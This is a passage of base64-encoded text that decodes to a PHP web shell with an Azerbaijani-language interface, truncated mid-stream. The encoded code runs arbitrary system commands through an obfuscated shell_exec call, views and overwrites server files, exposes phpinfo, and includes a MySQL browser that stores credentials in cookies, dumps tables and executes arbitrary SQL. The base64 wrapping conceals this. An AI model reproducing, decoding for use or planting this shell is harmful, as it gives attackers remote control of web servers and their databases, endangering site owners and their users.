eHQvaHRtbDsgY2hhcnNldD11dGYtOCI+DQo8c3R5bGU+DQpib2R5DQp7DQoJYmFja2dyb3VuZC1jb2xvcjogIzIyMjIyMjsNCgljb2xvcjogI0Q2RDRENDsNCglmb250LWZhbWlseTogTHVjaWRhLFZlcmRhbmE7DQoJZm9udC1zaXplOiAxMnB4Ow0KfQ0KLnFhbGluDQp7DQoJdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KCWNvbG9yOiAjRDY5MDVFOw0KCWZvbnQtd2VpZ2h0OiA2MDA7DQp9DQouc3VjY2Vzcw0Kew0KCWNvbG9yOiAjOURCNzU0Ow0KfQ0KLmJhZA0Kew0KCWNvbG9yOiAjQjc1NjU0Ow0KfQ0KYQ0Kew0KCWNvbG9yOiAjQUNCNzU0Ow0KCXRleHQtZGVjb3JhdGlvbjogbm9uZSAhaW1wb3J0YW50Ow0KfQ0KLmZNYW5hZ2VyLC5mTWFuYWdlciB0Ym9keSwuZk1hbmFnZXIgdHINCnsNCglwYWRkaW5nOiAwOw0KCWJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7DQoJbWFyZ2luOiAwOw0KCWZvbnQtc2l6ZTogMTJweDsNCn0NCi5mTWFuYWdlcg0Kew0KCW1hcmdpbjogMTBweCAwOw0KfQ0KLmZNYW5hZ2VyIHRib2R5IHRyOm50aC1jaGlsZCgybisxKQ0Kew0KCWJhY2tncm91bmQ6ICMzMzE3MTc7DQp9DQouZk1hbmFnZXIgdGJvZHkgdHI6bnRoLWNoaWxkKDJuKQ0Kew0KCWJhY2tncm91bmQ6ICMxQzBDMEM7DQp9DQouZk1hbmFnZXIgdGJvZHkgdHI6aG92ZXINCnsNCgliYWNrZ3JvdW5kOiAjMDAwMDAwOw0KfQ0KLmZNYW5hZ2VyIHRoZWFkIHRoDQp7DQoJdGV4dC1hbGlnbjogbGVmdDsNCn0NCi5mTWFuYWdlciB0aGVhZCB0cg0Kew0KCWJhY2tncm91bmQtY29sb3I6ICMzMzMzMzM7DQp9DQouZk1hbmFnZXINCnsNCglib3gtc2hhZG93OiAxcHggMXB4IDFweCAxcHggIzMzMzMzMzsNCn0NCi5mTWFuYWdlciB0aGVhZCB0aA0Kew0KCXBhZGRpbmc6IDRweCAzcHg7DQp9DQouZmF5bF9veHUNCnsNCgltYXJnaW46IDVweCAwOw0KCXBhZGRpbmc6IDJweDsNCglib3gtc2hhZG93OiAxcHggMXB4IDFweCAxcHggIzMzMzMzMzsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjRTFFMUUxOw0KCXdpZHRoOiAxMDAlOw0KCWhlaWdodDogNDAwcHg7DQoJb3ZlcmZsb3c6IGF1dG87DQp9DQouYnRuDQp7DQoJYm9yZGVyOiAxcHggc29saWQgI0FDQUU0MDsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjIzQjNCOw0KCWNvbG9yOiAjRTFFMUUxOw0KCXBhZGRpbmc6IDFweCAxMHB4Ow0KCWN1cnNvcjogcG9pbnRlcjsNCn0NCi5idG46ZGlzYWJsZWQNCnsNCglib3JkZXI6IDFweCBzb2xpZCAjODQ4NDg0Ow0KCWNvbG9yOiAjODQ4NDg0Ow0KCWN1cnNvcjogbm90LWFsbG93ZWQ7DQp9DQouZmlsZV9lZGl0DQp7DQoJbWFyZ2luOiA1cHggMDsNCglwYWRkaW5nOiAycHg7DQoJYm94LXNoYWRvdzogMXB4IDFweCAxcHggMXB4ICMzMzMzMzM7DQoJYmFja2dyb3VuZC1jb2xvcjogI0UxRTFFMTsNCgl3aWR0aDogMTAwJTsNCgloZWlnaHQ6IDQwMHB4Ow0KCW92ZXJmbG93OiBhdXRvOw0KfQ0KaW5wdXQsIHNlbGVjdCwgdGV4dGFyZWENCnsNCgliYWNrZ3JvdW5kOiB0cmFuc3BhcmVudCAhaW1wb3J0YW50Ow0KCWNvbG9yOiAjZjZhNTZkOw0KCWJvcmRlcjogMXB4IHNvbGlkICNENjkwNUU7DQoJcGFkZGluZzogNXB4Ow0KfQ0KdGFibGUgdGQNCnsNCglib3JkZXI6IDFweCBzb2xpZCByZ2JhKDIxNCwgMTQ0LCA5NCwgMC43KTsNCgltaW4td2lkdGg6IDIwcHg7DQoJcGFkZGluZy1sZWZ0OiA1cHg7DQoJcGFkZGluZy1yaWdodDogNXB4Ow0KCW1heC13aWR0aDogNTAwcHg7DQoJY29sb3I6ICNmZmFkNmY7DQoJYmFja2dyb3VuZDogIzI5MjkyOTsNCn0NCnRhYmxlIHRoDQp7DQoJYm9yZGVyOiAxcHggc29saWQgI0Q2OTA1RTsNCglwYWRkaW5nLWxlZnQ6IDVweDsNCglwYWRkaW5nLXJpZ2h0OiA1cHg7DQoJY29sb3I6ICNmZmFkNmY7DQp9DQp0YWJsZSB0ZCBkaXYNCnsNCglvdmVyZmxvdzogYXV0bzsNCgl3aWR0aDogMTAwJTsNCgloZWlnaHQ6IDEwMCU7DQoJbWF4LWhlaWdodDogMTAwcHg7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KPGJvZHk+DQo8P3BocA0KDQppZihmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkNCnsNCgkkcWlkID0gcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsNCgkkcXJ1cCA9ICRxaWRbJ25hbWUnXTsNCglwcmludCAiPHNwYW4gY2xhc3M9J3FhbGluJz5VbmFtZTo8L3NwYW4+ICIgLiBwaHBfdW5hbWUoKSAuICI8YnIvPiI7DQoJcHJpbnQgIjxzcGFuIGNsYXNzPSdxYWxpbic+VXNlcjo8L3NwYW4+ICIuZ2V0bXl1aWQoKS4iICgiLmdldF9jdXJyZW50X3VzZXIoKS4iKTxici8+IjsNCglwcmludCAiPHNwYW4gY2xhc3M9J3FhbGluJz5Hcm91cDo8L3NwYW4+ICIuZ2V0bXlnaWQoKS4iICgiLiRxcnVwLiIpPGJyLz4iOw0KfQ0KZWxzZQ0Kew0KCXByaW50ICI8c3BhbiBjbGFzcz0ncWFsaW4nPlVuYW1lOjwvc3Bhbj4gIiAuIHBocF91bmFtZSgpIC4gIjxici8+IjsNCglwcmludCAiPHNwYW4gY2xhc3M9J3FhbGluJz5Vc2VyOjwvc3Bhbj4gIi5nZXRteXVpZCgpLiIgKCIuZ2V0X2N1cnJlbnRfdXNlcigpLiIpPGJyLz4iOw0KCXByaW50ICI8c3BhbiBjbGFzcz0ncWFsaW4nPkdyb3VwOjwvc3Bhbj4gIi5nZXRteWdpZCgpLiI8YnIvPiI7DQp9DQpwcmludCAiPHNwYW4gY2xhc3M9J3FhbGluJz5EaXNhYmxlIGZ1bmN0aW9uczo8L3NwYW4+ICIgLiAoaW1wbG9kZSgiLCAiLCAkYmFxbGlGdW5rc2l5YWxhcik9PSIiPyI8c3BhbiBjbGFzcz0nc3VjY2Vzcyc+eW94ZHUgOikiOiI8c3BhbiBjbGFzcz0nYmFkJz4iLiBpbXBsb2RlKCIsICIsICRiYXFsaUZ1bmtzaXlhbGFyKSkgLiAiPC9zcGFuPjxici8+IjsNCnByaW50ICI8c3BhbiBjbGFzcz0ncWFsaW4nPlNhZmUgbW9kZTogPC9zcGFuPiIgLiAoJHNhZmVNb2RlPT09dHJ1ZT8iPHNwYW4gY2xhc3M9J2JhZCc+T24iOiI8c3BhbiBjbGFzcz0nc3VjY2Vzcyc+T2ZmIikgLiAiPC9zcGFuPjxzcGFuIHN0eWxlPSdtYXJnaW4tbGVmdDogNTBweDsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6c2VoaWZlKFwiP25lPXBocGluZm9cIiknPlsgUEhQaW5mbyBdPC9hPjwvc3Bhbj48YnIvPiI7DQpxb3ZsdXF1WWF6KCk7DQpwcmludCAnPGhyPic7DQppZigkbmU9PSJwaHBpbmZvIikNCnsNCglwcmludCAiPGRpdiBzdHlsZT0nd2lkdGg6IDEwMCU7IGhlaWdodDogNDAwcHg7Jz48aWZyYW1lIHNyYz0nP25lPXBpbmYnIHN0eWxlPSd3aWR0aDogMTAwJTsgaGVpZ2h0OiA0MDBweDsgYm9yZGVyOiAwOyc+PC9pZnJhbWU+PC9kaXY+IjsNCn0NCmVsc2UgaWYoJG5lPT0ic2lzdGVtX2tvbSIpDQp7DQoJaWYoIGlzc2V0KCAkX1BPU1RbJ2tvbSddICkgJiYgaXNfc3RyaW5nKCRfUE9TVFsna29tJ10pICYmICFlbXB0eSgkX1BPU1RbJ2tvbSddKSApDQoJew0KCQkka29tYW5kYSA9IGRlc2hpZnJlbGUodXJsZGVjb2RlKCRfUE9TVFsna29tJ10pKTsNCgkJDQoJCSRrID0gJ3NoJzsNCgkJJGsuPSdlbCc7DQoJCSRrLj0nbF9lJzsNCgkJJGsuPSd4ZSc7DQoJCSRrLj0nYyc7DQoNCgkJJG91dHB1dCA9ICRrKCRrb21hbmRhKTsNCg0KCQlwcmludCAnPHByZSBzdHlsZT0ibWF4LWhlaWdodDogMzUwcHg7b3ZlcmZsb3c6IGF1dG87IGJvcmRlcjogMXB4IHNvbGlkICM3Nzc7IHBhZGRpbmc6IDVweDsiPicgLiBodG1sc3BlY2lhbGNoYXJzKCRvdXRwdXQpIC4gJzwvcHJlPjxocj4nOw0KCX0NCglwcmludCAnPGlucHV0IHR5cGU9InRleHQiIGlkPSJlbXJfZXRfYXRhc2giIHN0eWxlPSJ3aWR0aDogNTAwcHg7Ij4gPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4iIG9uY2xpY2s9InNpc3RlbUtvbSgpOyI+QmFzPC9idXR0b24+JzsNCn0NCmVsc2UgaWYoJG5lPT0iZmF5bF9veHUiICYmIGlzc2V0KCRfUE9TVFsnZmF5bCddKSAmJiAiIiE9KHRyaW0oJF9QT1NUWydmYXlsJ10pKSkNCnsNCgkkZmF5bEFkaSA9IGJhc2VuYW1lKGRlc2hpZnJlbGUodXJsZGVjb2RlKCRfUE9TVFsnZmF5bCddKSkpOw0KCSRheWlyaWNpID0gc3Vic3RyKCRkZWZhdWx0X2RpcixzdHJsZW4oJGRlZmF1bHRfZGlyKS0xKSE9Ii8iICYmIHN1YnN0cigkZmF5bEFkaSwwLDEpIT0iLyIgPyAiLyIgOiAiIjsNCglpZihpc19maWxlKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGkpICYmIGlzX3JlYWRhYmxlKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGkpKQ0KCXsNCgkJJGVsYXZlQnRuID0gaXNfd3JpdGVhYmxlKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGkpID8gIiBvbmNsaWNrPSdzZWhpZmUoXCI/bmU9ZmF5bF9yZWRha3RlJmZheWw9Ii51cmxlbmNvZGUodXJsZW5jb2RlKHNoaWZyZWxlKCRmYXlsQWRpKSkpLiImcW92bHVxPSIudXJsZW5jb2RlKHVybGVuY29kZShzaGlmcmVsZSgkZGVmYXVsdF9kaXIpKSkuIlwiKSciIDogIiBkaXNhYmxlZCI7DQoJCXByaW50ICI8ZGl2PkZheWwgYWQmIzMwNTs6IDxzcGFuIGNsYXNzPSdxYWxpbic+Ii5odG1sc3BlY2lhbGNoYXJzKCRmYXlsQWRpKS4iPC9zcGFuPjxici8+PGJ1dHRvbiBjbGFzcz0nYnRuJyRlbGF2ZUJ0bj4gRCYjNjAxO3lpJiMzNTE7IDwvYnV0dG9uPjwvZGl2PiI7DQoJCXByaW50ICI8ZGl2IGNsYXNzPSdmYXlsX294dSc+Ii5oaWdobGlnaHRfc3RyaW5nKGZpbGVfZ2V0X2NvbnRlbnRzKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGkpLCB0cnVlKS4iPC9kaXY+IjsNCgl9DQp9DQplbHNlIGlmKCRuZSA9PSAnc2tsJykNCnsNCgkkaG9zdCA9IGlzc2V0KCRfQ09PS0lFWydob3N0J10pID8gJF9DT09LSUVbJ2hvc3QnXSA6ICcnOw0KCSR1c2VyID0gaXNzZXQoJF9DT09LSUVbJ3VzZXInXSkgPyAkX0NPT0tJRVsndXNlciddIDogJyc7DQoJJHBhcm9sID0gaXNzZXQoJF9DT09LSUVbJ3Bhcm9sJ10pID8gJF9DT09LSUVbJ3Bhcm9sJ10gOiAnJzsNCgkkYmF6YSA9IGlzc2V0KCRfQ09PS0lFWydiYXphJ10pID8gJF9DT09LSUVbJ2JhemEnXSA6ICcnOw0KDQoJaWYoIGlzc2V0KCRfUE9TVFsnaG9zdCddICwgJF9QT1NUWyd1c2VyJ10gLCAkX1BPU1RbJ3Bhcm9sJ10pDQoJCSYmIGlzX3N0cmluZygkX1BPU1RbJ2hvc3QnXSkgJiYgaXNfc3RyaW5nKCRfUE9TVFsndXNlciddKSAmJiBpc19zdHJpbmcoJF9QT1NUWydwYXJvbCddKQ0KCSkNCgl7DQoJCSRob3N0ID0gJF9QT1NUWydob3N0J107DQoJCSR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQoJCSRwYXJvbCA9ICRfUE9TVFsncGFyb2wnXTsNCgkJJGJhemEgPSAnJzsNCg0KCQlzZXRjb29raWUoJ2hvc3QnICwgJGhvc3QgLCB0aW1lKCkgKyAzNjAwMDApOw0KCQlzZXRjb29raWUoJ3VzZXInICwgJHVzZXIgLCB0aW1lKCkgKyAzNjAwMDApOw0KCQlzZXRjb29raWUoJ3Bhcm9sJyAsICRwYXJvbCAsIHRpbWUoKSArIDM2MDAwMCk7DQoJCXNldGNvb2tpZSgnYmF6YScgLCAkYmF6YSAsIHRpbWUoKSArIDM2MDAwMCk7DQoJfQ0KDQoJaWYoIGlzc2V0KCRfUE9TVFsnYmF6YSddKSAmJiBpc19zdHJpbmcoJF9QT1NUWydiYXphJ10pICkNCgl7DQoJCSRiYXphID0gJF9QT1NUWydiYXphJ107DQoNCgkJc2V0Y29va2llKCdiYXphJyAsICRiYXphICwgdGltZSgpICsgMzYwMDAwKTsNCgl9DQoNCgkkYmF6YVN0ciA9IGVtcHR5KCRiYXphKSA/ICcnIDogJ2RibmFtZT0nIC4gJGJhemEgLiAnOyc7DQoNCgk/Pg0KCTxmb3JtIG1ldGhvZD0iUE9TVCI+DQoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im5lIiB2YWx1ZT0ic2tsIj4NCgkJPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJIb3N0bmFtZSIgbmFtZT0iaG9zdCIgdmFsdWU9Ijw/PWh0bWxzcGVjaWFsY2hhcnMoJGhvc3QpPz4iPg0KCQk8aW5wdXQgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9IlVzZXIiIG5hbWU9InVzZXIiIHZhbHVlPSI8Pz1odG1sc3BlY2lhbGNoYXJzKCR1c2VyKT8+Ij4NCgkJPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJQYXJvbCIgbmFtZT0icGFyb2wiIHZhbHVlPSI8Pz1odG1sc3BlY2lhbGNoYXJzKCRwYXJvbCk/PiI+DQoJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJEYXhpbCBvbCI+DQoJPC9mb3JtPg0KCTw/cGhwDQoJaWYoICFlbXB0eSggJGhvc3QgKSApDQoJew0KCQl0cnkNCgkJew0KCQkJJHBkbyA9IG5ldyBQRE8oJ215c3FsOmhvc3Q9JyAuICRob3N0IC4gJztjaGFyc2V0PXV0Zjg7JyAuICRiYXphU3RyICwgJHVzZXIgLCAkcGFyb2wsYXJyYXkoUERPOjpNWVNRTF9BVFRSX0lOSVRfQ09NTUFORCA9PiAiU0VUIE5BTUVTICd1dGY4JyIpKTsNCgkJCSRwZG8tPnNldEF0dHJpYnV0ZShQRE86OkFUVFJfREVGQVVMVF9GRVRDSF9NT0RFLCBQRE86OkZFVENIX0FTU09DKTsNCg0KCQkJJHNjaGVtYXRhcyA9ICRwZG8tPnF1ZXJ5KCdTRUxFQ1Qgc2NoZW1hX25hbWUgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuc2NoZW1hdGEnKTsNCgkJCXByaW50ICc8Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im5lIiB2YWx1ZT0ic2tsIj48c2VsZWN0IG5hbWU9ImJhemEiPic7DQoJCQlmb3JlYWNoKCRzY2hlbWF0YXMtPmZldGNoQWxsKCkgQVMgJHNjaGVtYU5hbWUpDQoJCQl7DQoJCQkJcHJpbnQgJzxvcHRpb24nIC4gKCRiYXphID09ICRzY2hlbWFOYW1lWydzY2hlbWFfbmFtZSddID8gJyBzZWxlY3RlZCcgOiAnJykgLiAnPicuaHRtbHNwZWNpYWxjaGFycygkc2NoZW1hTmFtZVsnc2NoZW1hX25hbWUnXSkuJzwvb3B0aW9uPic7DQoJCQl9DQoJCQlwcmludCAnPC9zZWxlY3Q+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTZWNoISI+PC9mb3JtPic7DQoNCgkJCWlmKCAhZW1wdHkoJGJhemEpICkNCgkJCXsNCgkJCQkkdGFibGVzID0gJHBkby0+cHJlcGFyZSgnU0VMRUNUIHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0/Jyk7DQoJCQkJJHRhYmxlcy0+ZXhlY3V0ZShhcnJheSgkYmF6YSkpOw0KCQkJCSR0YWJsZXMgPSAkdGFibGVzLT5mZXRjaEFsbCgpOw0KDQoJCQkJcHJpbnQgJzxkaXYgc3R5bGU9ImZsb2F0OiBsZWZ0OyB3aWR0aDogMjAlOyBvdmVyZmxvdzogYXV0bzsgYm9yZGVyLXJpZ2h0OiAxcHggc29saWQgIzk5OTsiPic7DQoJCQkJcHJpbnQgJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2VoaWZlKFwnP25lPXNrbF9kXCcpOyI+ISEgRHVtcCBEQiAhITwvYT48aHI+JzsNCgkJCQlmb3JlYWNoKCAkdGFibGVzIEFTICR0YWJsZU5hbWUgKQ0KCQkJCXsNCgkJCQkJJHRhYmxlTmFtZSA9ICR0YWJsZU5hbWVbJ3RhYmxlX25hbWUnXTsNCgkJCQkJcHJpbnQgJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2VoaWZlKFwnP25lPXNrbCZ0PScgLiB1cmxlbmNvZGUodXJsZW5jb2RlKHNoaWZyZWxlKCR0YWJsZU5hbWUpKSkgLiAnXCcpIj4nLmh0bWxzcGVjaWFsY2hhcnMoJHRhYmxlTmFtZSkuJzwvYT48YnI+JzsNCgkJCQl9DQoJCQkJcHJpbnQgJzwvZGl2Pic7DQoJCQkJcHJpbnQgJzxkaXYgc3R5bGU9ImZsb2F0OiBsZWZ0OyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHdpZHRoOiA3NSU7Ij4nOw0KDQoJCQkJaWYoIGlzc2V0KCRfUE9TVFsndCddKSAmJiBpc19zdHJpbmcoJF9QT1NUWyd0J10pICYmICFlbXB0eSgkX1BPU1RbJ3QnXSkgKQ0KCQkJCXsNCgkJCQkJJHRhYmxlTmFtZSA9IGRlc2hpZnJlbGUodXJsZGVjb2RlKCRfUE9TVFsndCddKSk7DQoJCQkJCXByaW50ICc8c3BhbiBjbGFzcz0icWFsaW4iPlRhYmxlOjwvc3Bhbj4gJyAuIGh0bWxzcGVjaWFsY2hhcnMoJHRhYmxlTmFtZSkgLiAnICggPGEgaHJlZj0iamF2YXNjcmlwdDpzZWhpZmUoXCc/bmU9c2tsX2RfdCZ0PScudXJsZW5jb2RlKHVybGVuY29kZShzaGlmcmVsZSgkdGFibGVOYW1lKSkpLidcJykiPkR1bXA8L2E+ICk8YnI+JzsNCg0KCQkJCQkkZ2V0Q29sdW1ucyA9ICRwZG8tPnByZXBhcmUoIlNFTEVDVCBjb2x1bW5fbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT0/IGFuZCB0YWJsZV9uYW1lPT8iKTsNCgkJCQkJJGdldENvbHVtbnMtPmV4ZWN1dGUoYXJyYXkoJGJhemEgLCAkdGFibGVOYW1lKSk7DQoJCQkJCSRjb2x1bW5zID0gJGdldENvbHVtbnMtPmZldGNoQWxsKCk7DQoNCgkJCQkJaWYoICRjb2x1bW5zICkNCgkJCQkJew0KCQkJCQkJJGRhdGFDb3VudCA9ICRwZG8tPnF1ZXJ5KCdTRUxFQ1QgY291bnQoMCkgQVMgc3MgZnJvbSBgJyAuICR0YWJsZU5hbWUgLiAnYCcpOw0KCQkJCQkJJGRhdGFDb3VudCA9IChpbnQpJGRhdGFDb3VudC0+ZmV0Y2hDb2x1bW4oKTsNCg0KCQkJCQkJcHJpbnQgJzxzcGFuIGNsYXNzPSJxYWxpbiI+Q291bnQ6PC9zcGFuPiAnIC4gJGRhdGFDb3VudCAuICc8YnI+PGJyPic7DQoNCgkJCQkJCSRwYWdlcyA9IGNlaWwoJGRhdGFDb3VudCAvIDEwMCk7DQoNCgkJCQkJCSRjdXJyZW50UGFnZSA9IGlzc2V0KCRfUE9TVFsnc2VoaWZlJ10pICYmIGlzX251bWVyaWMoJF9QT1NUWydzZWhpZmUnXSkgJiYgJF9QT1NUWydzZWhpZmUnXSA+PSAxICYmICRfUE9TVFsnc2VoaWZlJ10gPD0gJHBhZ2VzID8gKGludCkkX1BPU1RbJ3NlaGlmZSddIDogMTsNCg0KCQkJCQkJZm9yICggICRwID0gMTsgJHAgPD0gJHBhZ2VzOyAkcCsrICkNCgkJCQkJCXsNCgkJCQkJCQlwcmludCAnPGEgc3R5bGU9IicuKCRjdXJyZW50UGFnZSA9PSAkcCA/ICdiYWNrZ3JvdW5kOiAjNDQ0OycgOiAnJykuJ21hcmdpbi1sZWZ0OiAycHg7IG1hcmdpbi1ib3R0b206IDVweDsgcGFkZGluZzogMnB4IDZweDsgYm9yZGVyOiAxcHggc29saWQgI0FDQjc1NDsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyIgaHJlZj0iamF2YXNjcmlwdDpzZWhpZmUoXCc/bmU9c2tsJnQ9JyAuIHVybGVuY29kZSh1cmxlbmNvZGUoc2hpZnJlbGUoJHRhYmxlTmFtZSkpKSAuICcmc2VoaWZlPScgLiAkcCAuICdcJyk7Ij4nIC4gJHAgLiAnPC9hPiAnOw0KCQkJCQkJfQ0KCQkJCQkJcHJpbnQgJzxicj48YnI+JzsNCg0KCQkJCQkJJHN0YXJ0ID0gMTAwICogKCRjdXJyZW50UGFnZSAtIDEpOw0KDQoJCQkJCQkkZGF0YSA9ICRwZG8tPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NIGAnIC4gJHRhYmxlTmFtZSAuJ2AgTElNSVQgJy4kc3RhcnQuJyAsIDEwMCcpOw0KCQkJCQkJJGRhdGEgPSAkZGF0YS0+ZmV0Y2hBbGwoKTsNCgkJCQkJCXByaW50ICc8dGFibGU+PHRoZWFkPic7DQoNCgkJCQkJCWZvcmVhY2goICRjb2x1bW5zIEFTICRjb2x1bW5JbmYgKQ0KCQkJCQkJew0KCQkJCQkJCXByaW50ICc8dGg+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJGNvbHVtbkluZlsnY29sdW1uX25hbWUnXSkgLiAnPC90aD4nOw0KCQkJCQkJfQ0KDQoJCQkJCQlwcmludCAnPC90aGVhZD48dGJvZHk+JzsNCg0KCQkJCQkJZm9yZWFjaCggJGRhdGEgQVMgJHJvdyApDQoJCQkJCQl7DQoJCQkJCQkJcHJpbnQgJzx0cj4nOw0KCQkJCQkJCWZvcmVhY2goICRyb3cgQVMgJGtleT0+JHZhbCApDQoJCQkJCQkJew0KCQkJCQkJCQlwcmludCAnPHRkPjxkaXY+JyAuICR2YWwgLiAnPC9kaXY+PC90ZD4nOw0KCQkJCQkJCX0NCgkJCQkJCQlwcmludCAnPC90cj4nOw0KCQkJCQkJfQ0KCQkJCQkJcHJpbnQgJzwvdHI+PC90Ym9keT48L3RhYmxlPic7DQoJCQkJCX0NCgkJCQkJZWxzZQ0KCQkJCQl7DQoJCQkJCQlwcmludCAnVGFibGUgbm90IGZvdW5kISc7DQoJCQkJCX0NCgkJCQl9DQoJCQkJZWxzZSBpZiAoIGlzc2V0KCRfUE9TVFsnZW1yJ10pICYmIGlzX3N0cmluZygkX1BPU1RbJ2VtciddKSAmJiAhZW1wdHkoJF9QT1NUWydlbXInXSkgKQ0KCQkJCXsNCgkJCQkJJGVtciA9IGRlc2hpZnJlbGUodXJsZGVjb2RlKCRfUE9TVFsnZW1yJ10pKTsNCgkJCQkJcHJpbnQgJzxzcGFuIGNsYXNzPSJxYWxpbiI+U1FMIGVtcjo8L3NwYW4+ICcgLiBodG1sc3BlY2lhbGNoYXJzKCRlbXIpIC4gJzxicj4nOw0KCQkJCQkNCgkJCQkJJGRhdGEgPSAkcGRvLT5xdWVyeSggJGVtciApOw0KCQkJCQkkZGF0YSA9ICRkYXRhLT5mZXRjaEFsbCgpOw0KCQkJCQkNCgkJCQkJcHJpbnQgJzx0YWJsZT48dGhlYWQ+JzsNCgkJCQkJaWYoIGNvdW50KCRkYXRhKSA+IDAgKQ0KCQkJCQl7DQoJCQkJCQlwcmludCAnPHRyPic7DQoJCQkJCQlmb3JlYWNoKCAkZGF0YVswXSBBUyAka2V5PT4kdmFsICkNCgkJCQkJCXsNCgkJCQkJCQlwcmludCAnPHRoPjxkaXY+JyAuICRrZXkgLiAnPC9kaXY+PC90aD4nOw0KCQkJCQkJfQ0KCQkJCQkJcHJpbnQgJzwvdHI+JzsNCgkJCQkJfQ0KCQkJCQlwcmludCAnPC90aGVhZD48dGJvZHk+JzsNCgkJCQkJDQoJCQkJCWZvcmVhY2goICRkYXRhIEFTICRyb3cgKQ0KCQkJCQl7DQoJCQkJCQlwcmludCAnPHRyPic7DQoJCQkJCQlmb3JlYWNoKCAkcm93IEFTICRrZXk9PiR2YWwgKQ0KCQkJCQkJew0KCQkJCQkJCXByaW50ICc8dGQ+PGRpdj4nIC4gJHZhbCAuICc8L2Rpdj48L3RkPic7DQoJCQkJCQl9DQoJCQkJCQlwcmludCAnPC90cj4nOw0KCQkJCQl9DQoJCQkJCXByaW50ICc8L3RyPjwvdGJvZHk+PC90YWJsZT4nOw0KCQkJCX0NCgkJCQkNCgkJCQlwcmludCAnPGRpdj48dGV4dGFyZWEgaWQ9InNrbF9lbXIiPjwvdGV4dGFyZWE+PGJ1dHRvbiB0eXBlPSJidXR0b24iIG9uY2xpY2s9InNrbF9iYXMoKTsiPkJhcyBtZW5lPC9idXR0b24+PC9kaXY+JzsNCgkJCQkNCgkJCQlwcmludCAnPC9kaXY+JzsNCgkJCQlwcmludCAnPGRpdiBzdHlsZT0iY2xlYXI6IGJvdGg7Ij48L2Rpdj4nOw0KCQkJfQ0KCQl9DQoJCWNhdGNoIChFeGNlcHRpb24gJGUpDQoJCXsNCgkJCXByaW50ICRlLT5nZXRNZXNzYWdlKCk7DQoJCX0NCgl9DQp9DQplbHNlIGlmKCRuZT09ImZheWxfcmVkYWt0ZSIgJiYgaXNzZXQoJF9QT1NUWydmYXlsJ10pICYmICIiIT0odHJpbSgkX1BPU1RbJ2ZheWwnXSkpKQ0Kew0KCSRmYXlsQWRpID0gYmFzZW5hbWUoZGVzaGlmcmVsZSh1cmxkZWNvZGUodXJsZGVjb2RlKCRfUE9TVFsnZmF5bCddKSkpKTsNCgkkYXlpcmljaSA9IHN1YnN0cigkZGVmYXVsdF9kaXIsc3RybGVuKCRkZWZhdWx0X2RpciktMSkhPSIvIiAmJiBzdWJzdHIoJGZheWxBZGksMCwxKSE9Ii8iID8gIi8iIDogIiI7DQoJaWYoaXNfZmlsZSgkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRmYXlsQWRpKSAmJiBpc19yZWFkYWJsZSgkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRmYXlsQWRpKSkNCgl7DQoJCSRzdGF0dXMgPSAiIjsNCgkJaWYoaXNzZXQoJF9QT1NUWydjb250ZW50J10pICYmIGlzc2V0KCRfUE9TVFsndG9vayddKSAmJiAkX1BPU1RbJ3Rvb2snXSE9IiIgJiYgaXNzZXQoJF9TRVNTSU9OWyd5c190b29rJ10pICYmICRfU0VTU0lPTlsneXNfdG9vayddPT0kX1BPU1RbJ3Rvb2snXSAmJiBpc193cml0ZWFibGUoJGRlZmF1bHRfZGlyIC4gJGF5aXJpY2kgLiAkZmF5bEFkaSkpDQoJCXsNCgkJCXVuc2V0KCRfU0VTU0lPTlsneXNfdG9vayddKTsNCgkJCSRjb250ZW50ID0gJF9QT1NUWydjb250ZW50J107DQoNCgkJCSRjYyA9ICBhcnJheSgnYScsJ2knLCdlJywncycsJ2wnLCdiJywndScsJ28nLCdwJywnaCcsIigiLCIpIiwiPCIsIj4iLCI/IiwiOyIsIlsiLCJdIiwiJCIpOw0KCQkJZm9yZWFjaCgkY2MgQVMgJGsxPT4kdjEpDQoJCQl7DQoJCQkJJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgnfDonLiRrMS4nOnwnICwgJHYxICwgJGNvbnRlbnQpOw0KCQkJfQ0KDQoJCQkkZmF5bEFjaCA9IGZvcGVuKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGksICJ3KyIpOw0KCQkJZndyaXRlKCRmYXlsQWNoLCAkY29udGVudCk7DQoJCQlmY2xvc2UoJGZheWxBY2gpOw0KCQkJJHN0YXR1cyA9ICIgPHNwYW4gY2xhc3M9J3FhbGluJz5VJiMyODc7dXJsYSB5YWRkYS